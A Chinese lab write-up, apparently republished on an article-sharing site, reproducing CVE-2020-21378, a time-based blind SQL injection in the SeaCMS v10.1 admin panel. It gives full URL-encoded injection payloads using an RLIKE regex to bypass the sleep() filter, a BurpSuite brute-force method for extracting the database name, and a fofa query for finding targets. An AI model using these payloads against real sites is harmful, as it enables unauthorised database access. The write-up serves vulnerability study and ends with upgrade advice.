CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞
2022/1/15 2:05:15
本文主要是介绍CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
0x00 漏洞介绍
SeaCMS 10.1 (2020.02.08)存在SQL注入漏洞。攻击者可通过对admin_members_group.php的编辑操作中的id参数利用该漏洞进行SQL注入攻击。
0x01 漏洞环境
- 攻击机:192.168.91.1 windows10
- 目标机:192.168.91.142 Ubuntu 18.04-server(64)
- 工具:火狐浏览器、BurpSuite2021
- SeaCMS版本:10.1
0x02 漏洞搭建
phpstudy一键搭建。
seacms v10.1从网上找了半天,都是收费的。给我人整麻了,现在的黑客精神哟,开源共享已经凋零。
找了半天,终于在https://www.62ym.com/31570.html这里找到了,看看人家这个网站!免费!
为了方便,我将这个源码传到了我的github里面,供大家学习研究。
https://github.com/sukusec301/SeaCMS-v10.1
0x03 影响范围
SEACMS SeaCMS 10.1(2020.02.08)
fofa:app="海洋cms"
0x04 漏洞条件
1、需要找到后台入口,因为seacms一旦搭建成功,后台目录会随机变成一个名字
2、黑盒不好做,白盒审计
3、有点鸡肋,都登陆后台了,还看数据库信息干啥,。。。
0x05 漏洞原理
1、通过代码审计,在/kk4x47/admin_members_groups.php
中(注意:当此Seacms搭建网站成功时,网站后台目录名称会随机变化,这里为kk4x47
)
第55行变量$id拼接成SQL查询,跟进GetOne
函数,使用checksql函数过滤SQL注入的变量关键词,可以利用RLIKE正则注入
来替换sleep(5)
从而绕过函数的过滤,最终造成延时盲注。
2、构造payload,payload注意,因为我的数据库用户名为seacms
,所以我user()
那里写的是s
- 初始写一个简单的时间盲注语句
http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2 and if(mid(user(),1,1)='s',sleep(5),1) #sleep无效
- 使用RLIKE正则注入语句代替
sleep(5)
正则注入语句为下方代码。其中最后的b'
的b
可以为任意的字符。
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
代替后
http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2 and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1)
- URL编码,形成最终的payload
http://192.168.91.142/kk4x47/admin_members_group.php?action=edit&id=2%20and%20if(mid(user()%2c1%2c1)%3d%27s%27%2cconcat(rpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27))%20rlike%20%27(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bsuibianxiema%27%2c1)
0x06 漏洞复现
1、网站搭建成功后,访问后台并且登陆网站后台http://192.168.91.142/kk4x47/,点击用户。
2、再点击左边的用户组管理,你会发现,URL一直是http://192.168.91.142/kk4x47/#
3、不慌,打开BurpSuite抓包,点击右边的“编辑”,就能看到真实的URL了,而同时,SQL注入就在这个地方。
4、将URL拷贝下来,打开Hackbar
放入
5、将初始的时间盲注sleep(5)
语句放入,发现无效果。
6、用RLIKE正则
替换一下后的最终payload,发现时间变长了,延时注入成功。
7、接下来就是爆破库名的时候了,其实也可以通过DNS外带。不过DNS外带是有条件的,因为我是windows系统搭建,理论上可以实现,如果是Linux系统,就无法实现了。但是这个环境,只能是时间盲注,无法进行联合查询,所以还是无法DNS外带。只能使用BurpSuite的爆破,将数据库名爆破出来。
- 第一个变量为mid的那个1,第二个变量为对应数据库名称的字符
- 设置字典1
1 2 3 4 5 6 7 8 9 10
- 设置字典2
q w e r t y u i o p a s d f g h j k l z x c v b n m
- 开始爆破,整理长度结果得出
seacms
0x07 漏洞修复建议
升级cms版本至11
这篇关于CVE-2020-21378 SeaCMS v10.1 后台SQL注入漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-15在使用平台私钥进行解密时提示 "私钥解密失败" 错误信息是什么原因?-icode9专业技术文章分享
- 2024-11-15Layui框架有哪些方式引入?-icode9专业技术文章分享
- 2024-11-15Layui框架中有哪些减少对全局环境的污染方法?-icode9专业技术文章分享
- 2024-11-15laydate怎么关闭自动的日期格式校验功能?-icode9专业技术文章分享
- 2024-11-15laydate怎么取消初始日期校验?-icode9专业技术文章分享
- 2024-11-15SendGrid 的邮件发送时,怎么设置回复邮箱?-icode9专业技术文章分享
- 2024-11-15使用 SendGrid API 发送邮件后获取到唯一的请求 ID?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 tags标签最多有多少个?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 怎么批量发送给多个人?-icode9专业技术文章分享
- 2024-11-15如何搭建web开发环境并实现 web项目在浏览器中访问?-icode9专业技术文章分享